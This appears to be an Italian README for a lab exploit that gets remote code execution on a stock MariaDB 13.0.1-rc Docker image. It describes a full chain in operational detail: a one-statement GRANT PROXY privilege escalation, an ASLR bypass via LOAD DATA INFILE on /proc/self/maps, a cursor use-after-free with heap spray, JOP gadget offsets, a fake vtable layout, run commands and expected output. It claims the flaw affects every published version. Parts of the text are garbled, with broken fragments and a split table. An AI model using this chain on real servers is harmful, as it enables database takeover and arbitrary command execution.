
MariaDB 13.0.1-rc RCE lab — priv-esc + heap UAF + catena JOP fino a system() come uid 999(mysql) su immagine Docker stock. Trovato con RAPTOR e raptor-loop-hunt.
Esecuzione di codice in remoto sull'immagine Docker non modificata e stock di MariaDB 13.0.1-rc come uid 999 (mysql).
Due varianti di exploit:
| Variante | File | Requisiti | Note |
|---|---|---|---|
| SQL puro (consigliata) | exploit_pure_sql.py | un account MariaDB a bassi privilegi + TCP | nessun accesso all'host, niente docker, niente /proc/mem, nessuna password di root |
| PoC assistito dall'host | exploit.py | root sull'host Docker | scrive la catena JOP via /proc/<pid>/mem |
Testata e provata su: mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9
(4/4 esecuzioni, ciascuna con basi ASLR nuove).
exploit_pure_sql.py)L'attaccante dispone solo di:
lowpriv del compose) + la sua password, eL'intera catena viene eseguita come istruzioni SQL; nessun accesso ai processi lato host, nessun comando docker, nessun indirizzo noto. Ogni indirizzo runtime viene appreso dal target stesso via SQL:
1. F-09 GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA ''
-> qualsiasi utente diventa DBA completo (account root dirottato, password vuota).
Una sola istruzione, nessun privilegio richiesto.
2. LOAD DATA INFILE '/proc/self/maps' INTO TABLE ...
-> lettura file lato server (privilegio FILE, secure_file_priv non impostato sullo stock)
rivela la base PIE e la base libc = vero superamento di ASLR. Le basi cambiano
a ogni esecuzione e vengono lette dal processo live.
3. SET @fake = REPEAT(CHAR(0xDE), 134217728) (variabile utente da 128 MiB)
-> glibc dedica una regione mmap (0x8001000, dati a +0x30).
Il suo indirizzo viene scoperto confrontando /proc/self/maps prima/dopo
l'allocazione - via SQL. Nessun /proc/<pid>/mem coinvolto.
4. SET @fake = CONCAT(REPEAT(...), UNHEX('<layout JOP>'), REPEAT(...))
-> l'intera catena JOP (D2, D1, system(), stringa di comando) viene
scritta via SQL al momento dell'allocazione. Il puntatore auto-referenziale
[V+0xa8] = V+0x140 viene incorporato usando l'indirizzo trovato al passo 3;
glibc riutilizza esattamente lo stesso slot mmap quando il buffer viene
riallocato, quindi l'indirizzo rimane stabile (verificato a ogni iterazione,
re-incorporato se si sposta).
5. F-05 UAF di SYS_REFCURSOR + heap spray (spray128/grow5/uaf5, binario stock)
-> l'array di cursori liberato di 1792 byte viene reclamato con un
blob da 1784 byte che trasporta V all'offset 0x20; dispatch virtuale
result->prepare() -> D2 -> D1 -> system("sh -c '<cmd>'")
esegue il comando come uid 999(mysql).
6. Prova: il comando scrive un marcatore; il server crasha subito dopo il ritorno
di system() (mariadbd è PID 1 -> il container esce). Riavviare il container e
leggere il marcatore.
Le uniche operazioni non-SQL rimaste sono la gestione post-exploit: riavviare il container (già crashato) e mostrare il file marcatore — non fanno parte dello sfruttamento.
# avvia il lab
docker compose up -d
# esegui l'exploit da qualsiasi punto con accesso TCP - nessun accesso all'host necessario
python3 exploit_pure_sql.py --host 192.168.1.119 --port 3306 \
--user lowpriv --password lowpriv \
--command "id > /tmp/pwned" --marker /tmp/pwned \
--container mariadb-rce-lab
Richiede solo un client mariadb/mysql e Python 3. --container viene usato
per la visualizzazione finale del marcatore (riavvio + cat) e può essere omesso
se il marcatore viene verificato in altro modo.
Output finale atteso:
[*] ============ FIRING (CALL uaf5) ============
[*] session died as expected after RCE: no sentinel within 10s; got: b''
[*] waiting for marker /tmp/pwned ...
[+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql)
[+] ===========================================
[+] RCE CONFIRMED (pure SQL, lowpriv account)
[+] ===========================================
GRANT PROXY ON ''@'' TO 'root'@'localhost' IDENTIFIED VIA '' bypassa tutti i
controlli sui privilegi. La clausola di autenticazione vuota fa sì che LEX_USER::has_auth()
restituisca false (saltando check_alter_user()), mentre replace_user_table() applica
comunque la password vuota — sostituendo le credenziali di root. Una sola istruzione SQL,
qualsiasi utente autenticato, ogni versione pubblicata di MariaDB.
/proc/self/mapsLOAD DATA INFILE '/proc/self/maps' legge l'intero layout di memoria del
processo mariadbd dall'interno di SQL, rivelando la base PIE e la base libc.
Funziona con secure_file_priv = NULL (non impostato) sull'immagine stock.
sp_cursor_array::get_cursor_by_ref() restituisce un puntatore interno a una
Dynamic_array il cui storage sottostante viene spostato da my_realloc durante la crescita.
Quando il metodo open() di un cursore esegue SQL controllato dall'attaccante che apre
ulteriori cursori, l'array cresce, il vecchio storage viene liberato e il puntatore
memorizzato dal chiamante diventa dangling.
Il blocco liberato (16 cursori x 112 byte = 1792 byte) viene reclamato da uno
heap spray di 128 copie di variabili utente da 1784 byte ciascuna (adattamento esatto per il
chunk glibc). Il payload dello spray inserisce un puntatore a vtable controllato all'offset 0x20
(il membro result di sp_cursor), successivamente usato per il dispatch virtuale:
Materialized_cursor::open() -> result->prepare()
-> mov rax, [result] ; rax = puntatore a vtable dell'attaccante (V)
-> call [rax + 0x20] ; chiama il gadget D2 (slot vtable di prepare())
Due gadget JOP dal binario mariadbd stock (nessun ROP, nessuno stack pivot):
| Gadget | Offset | Istruzione | Scopo |
|---|---|---|---|
| D2 | PIE+0x80da77 | call *0x100(%rax) | Correzione allineamento stack |
| D1 | PIE+0xe3075b |
La vtable finta V vive nel buffer da 128 MiB; layout:
V+0x20 = D2 (slot vtable di prepare())
V+0xa0 = system() (libc+0x5c560)
V+0xa8 = V+0x140 (puntatore alla stringa di comando -> rdi)
V+0x100 = D1 (dispatcher JOP)
V+0x140 = "sh -c '<cmd>'\0"
Il problema dell'uovo e della gallina di scrivere dati JOP auto-referenziali prima di conoscere l'indirizzo del buffer viene risolto dal comportamento mmap di glibc:
/proc/self/maps/proc/self/maps; se l'indirizzo si
sposta, il self-reference viene re-incorporato e la scrittura ritentata (in pratica
converge in una iterazione)Stessa catena, ma il layout JOP viene scritto nel processo via
/proc/<pid>/mem dall'host Docker (richiede root), lo script payload viene
creato via docker exec, e la connessione avviene con la password di root dal
file compose. Mantenuta come PoC storico; la variante in SQL puro la supera.
sql/sp_cursor.{cc,h} tra il tag 13.0.1 e HEAD).dbd60d0ad8d, MDEV-40470) è sui rami di
sviluppo ma assente da ogni versione pubblicata (verificato dalla 13.0.1 alla 10.6.27).SET GLOBAL max_allowed_packet viene alzato prima e viene usata una nuova connessione).DATA_OFF se mai dovesse differire).| Vecchio helper (exploit.py) | Sostituzione in SQL puro |
|---|
docker inspect → PID + /proc/<pid>/maps lato host | LOAD DATA INFILE '/proc/self/maps' |
scritture su /proc/<pid>/mem lato host per la catena JOP | layout incorporato via CONCAT/UNHEX all'allocazione; indirizzo dal diff di maps lato SQL; il riutilizzo dello slot mmap mantiene valido il self-reference |
docker exec ... echo CMD > /tmp/payload_cmd.sh | stringa di comando incorporata direttamente nel layout JOP |
mariadb -uroot -plabpass (password di root) | escalation GRANT PROXY dall'account a bassi privilegi |
docker exec ... cat MARKER | usato solo per mostrare la prova |
mov rdi,[rax+0xa8]; call [rax+0xa0]| Carica puntatore cmd, chiama system() |